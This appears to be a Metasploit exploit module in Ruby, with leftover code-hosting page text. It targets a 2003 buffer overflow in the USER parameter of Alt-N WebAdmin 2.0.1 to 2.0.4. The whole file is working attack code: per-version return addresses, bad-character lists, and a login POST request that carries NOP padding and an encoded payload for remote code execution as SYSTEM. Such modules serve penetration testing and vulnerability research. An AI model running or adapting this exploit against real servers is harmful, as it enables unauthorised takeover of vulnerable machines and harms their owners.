76 lines
2.0 KiB
Ruby
76 lines
2.0 KiB
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Http::ALTN_WebAdmin_Overflow < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Alt-N WebAdmin USER Buffer Overflow',
|
|
'Description' => %q{
|
|
Alt-N WebAdmin is prone to a buffer overflow condition. This
|
|
is due to insufficient bounds checking on the USER
|
|
parameter. Successful exploitation could result in code
|
|
execution with SYSTEM level privileges.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'BID', '8024'],
|
|
[ 'NSS', '11771'],
|
|
[ 'MIL', '95'],
|
|
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 830,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
|
|
['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
|
|
['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
|
|
['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
|
|
],
|
|
'DisclosureDate' => 'Jun 24 2003'))
|
|
end
|
|
|
|
def exploit
|
|
c = connect
|
|
|
|
post_data = 'User=' + make_nops(168) + [target.ret].pack('V') + payload.encoded
|
|
post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'
|
|
|
|
req = c.request({
|
|
'uri' => '/WebAdmin.DLL?View=Logon',
|
|
'method' => 'POST',
|
|
'content-type' => 'application/x-www-form-urlencoded',
|
|
'cookie' => 'User=y0; Lang=en; Theme=standard',
|
|
'data' => post_data,
|
|
})
|
|
|
|
req.headers['Accept'] = 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png'
|
|
req.headers['Accept-Language'] = 'en'
|
|
req.headers['Accept-Charset'] = 'iso-8859-1,*,utf-8'
|
|
|
|
res = c.send_request(req)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|
|
end
|